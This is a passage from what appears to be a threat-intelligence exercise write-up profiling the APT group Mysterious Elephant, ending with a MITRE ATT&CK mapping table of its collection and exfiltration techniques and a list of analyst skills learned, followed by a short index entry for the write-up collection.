| Collection | T1213 | Data from Information Repositories | WhatsApp application data targeted via hardcoded paths |
| Exfiltration | T1041 | Exfiltration Over C2 Channel | All exfiltration tools upload directly to C2 servers |
| Exfiltration | T1048.003 | Exfil Over Unencrypted Non-C2 Protocol | Asyncshell-v1 used TCP before v2 moved to HTTPS |
***
## Skills Learned
* Threat intelligence cross-referencing: correlating the same actor across multiple vendor reports
that use different naming conventions
* Understanding APT naming conventions and why the same group is often tracked under multiple names
simultaneously
* Reading malware analysis reports to extract specific technical indicators (file names, export
functions, process thresholds, MITRE IDs)
* Understanding how South Asian APT groups share and recycle tools across related actors
* Recognising sandbox evasion techniques such as process count checks and hidden desktop creation
* Mapping observed attacker behaviours to MITRE ATT\&CK technique IDs
* Using IoC sections of threat reports to find file hashes, domains, and infrastructure details
# Threat Intelligence
Source: https://writeups.dudji.com/sherlocks/threat-intelligence/index
Threat intelligence Sherlock writeups.
APT K-47 (Mysterious Elephant) profiling through open-source intelligence.
Connecting fragmented threat reports to build comprehensive actor profiles.